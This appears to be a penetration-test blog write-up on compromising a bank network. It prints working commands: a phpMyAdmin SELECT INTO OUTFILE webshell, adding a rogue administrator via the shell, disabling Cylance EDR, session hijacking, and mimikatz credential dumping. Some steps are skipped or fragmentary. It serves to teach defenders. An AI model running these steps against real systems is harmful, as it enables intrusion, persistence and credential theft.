From Directory Listing to Owning a Bank: A Wild Ride with phpMyAdmin, XAMPP, and a PAM that Didn't Give a Damn¶
The Setup: "Oops, We Left Everything Open"¶
So there I was, minding my own business (aka breaking into a bank’s network for totally legal reasons), when I stumbled upon a webserver running XAMPP on a fully patched Windows Server. At first, I thought, "Okay, maybe they actually know what they're doing." Then, I ran dirb and found directory listing enabled. Rookie mistake #1.
Step 1: The Accidental Gift – Directory Listing¶
It all started with a simple directory listing. Because why secure your webserver when you can just hand out your internal file structure to anyone with an internet connection? I ran:
dirb http://targetbank.com/
/phpmyadmin/ folder.
At that moment, the attack pathway drew itself on my mind.
(Since you can't read minds, I've decided to write it down below.)
+------------------------+
| My Computer |
| (Attacker) |
+------------------------+
|
| Sends HTTP request:
| `GET /phpmyadmin/ HTTP/1.1`
v
+------------------------+
| XAMPP Web Server |
| (bankserver:80) |
| +-------------------+ |
| | htdocs/ | |
| | + index.php | |
| | + dashboard/ | |
| | + server-status | |
| | + ... | |
| +-------------------+ |
| +-------------------+ |
| | phpMyAdmin/ | |
| | + index.php | | <-- phpMyAdmin login page
| | + config.inc.php | |
| | + libraries/ | |
| | + themes/ | |
| +-------------------+ |
+------------------------+
|
| Then, I will accesse the phpMyAdmin login page:
| `http://bankserver/phpmyadmin/`
v
+------------------------+
| phpMyAdmin Login |
| Page Exposed |
| (I will try to |
| log in) |
+------------------------+
|
| I will execute a malicious query using `SELECT INTO OUTFILE`:
| `SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php';`
v
+-----------------------------------------------------+
| SQL Query Execution |
| `SELECT INTO OUTFILE` command creates a webshell: |
| - `shell.php` containing: |
| `<?php system($_GET["cmd"]); ?>` |
+-----------------------------------------------------+
|
| File `shell.php` is created in the XAMPP document root:
| `C:\xampp\htdocs\shell.php`
v
+---------------------------------+
| Server File System |
| (Webshell Created) |
| - C:\xampp\htdocs\shell.php |
+---------------------------------+
|
| Now, I only have to accesses the webshell via:
| `http://bankserver/shell.php?cmd=whoami`
v
+--------------------------------------------------------+
| Webshell Execution |
| - Just sends GET request |
| to execute arbitrary commands on the server |
| - Example: `http://bankserver/shell.php?cmd=whoami` |
+--------------------------------------------------------+
Step 2: Oh Look, PhpMyAdmin – Let’s Try Defaults and give them a surprise!¶
I took a gamble and tried the usual default credentials:
Username: root
Password: (blank)
SELECT INTO OUTFILE to write a PHP web shell directly into htdocs.
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';
http://bankserver/shell.php.
+--------------------------------+
| Web Shell Created |
| URL: /shell.php |
| Command: system($_GET['cmd']); |
+--------------------------------+
Step 3: Making Myself at Home (Persistence 101)¶
Checking the privileges, I realized XAMPP was running under NT AUTHORITY\SYSTEM. Oh, this was going to be fun. Rookie mistake #3. And also, I wasn’t about to leave this beautiful new playground unprotected. So, using my webshell, I ran:
curl "http://targetbank.com/shell.php?cmd=net user pentester mysecurepassword /add"
curl "http://targetbank.com/shell.php?cmd=net localgroup administrators pentester /add"
[ Windows Server ]
+--------------------------------------+
| Users: |
| - Administrator |
| - Guest |
| - pentester (New Admin!) |
+--------------------------------------+
Step 4: Fighting Cylance EDR (and Winning)¶
This is where things got even funnier. Every time I tried to run Mimikatz, Cylance EDR slapped me like an overprotective parent. So I tried stopping the service:
sc stop Cylance
But guess what? I could still change the startup type:
sc config Cylance start= demand
Step 5: RDP and Session Hijacking¶
First, I used PsExec to elevate myself to SYSTEM:
PsExec.exe -s -i cmd.exe
query session
[ Sessions ]
+--------------------------------+
| ID | User | Status |
| 0 | SYSTEM | Active |
| 1 | pentester | Active |
| 2 | Administrator | Idle | <-- (Hijack this!)
+--------------------------------+
tscon 2 /dest:console
I was roaming around when I noticed there was a network drive mounted for the user Administrator. The mounted directory contained the following:
[ Compromised Bank Server ] --> [ Mounted Shared Drive ]
/------------------------------------\
| Procedures |
| Documentation |
| |-> CyberArk_Url.txt |
| |-> Other stuffs I can't recall |
| Procurement |
| Reports |
| |-> Pentest report 2023 |
\-------------------------------------/
So, I cracked the dump offline:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
pypykatz lsa minidump lsass.dmp
Step 6: The Domain Controller & The CyberArk "PAM" Disaster¶
While moving laterally, I hit the Domain Controller. So, I: - Used the credentials obtained from LSASS dump cracking. - Logged into the Domain Controller. - Created a domain admin account. - Added special permissions to that account to be able to use the PAM.
Then I logged into CyberArk and... oh boy. It gave me access to the core banking system.
The Aftermath¶
+---------------------------------------+
| [ Me ] --> "Mission Complete 😏" |
| - Domain Admin Access |
| - Bypassed EDR |
| - Full Control of Bank Network |
+---------------------------------------+
At this point, I basically had the keys to the kingdom. This entire chain of failures was due to a mix of: 1. Directory listing enabled 2. phpMyAdmin with default creds 3. XAMPP running as SYSTEM 4. EDR that I could disable with a simple restart 5. A bank that stored their own security tool URLs in a plaintext file 6. Domain-wide local admin credentials
Moral of the Story:¶
Secure your systems, disable default credentials, and please don’t leave your privileged accounts lying around. Otherwise, you’ll end up reading about your security failures in a blog post like this. 😏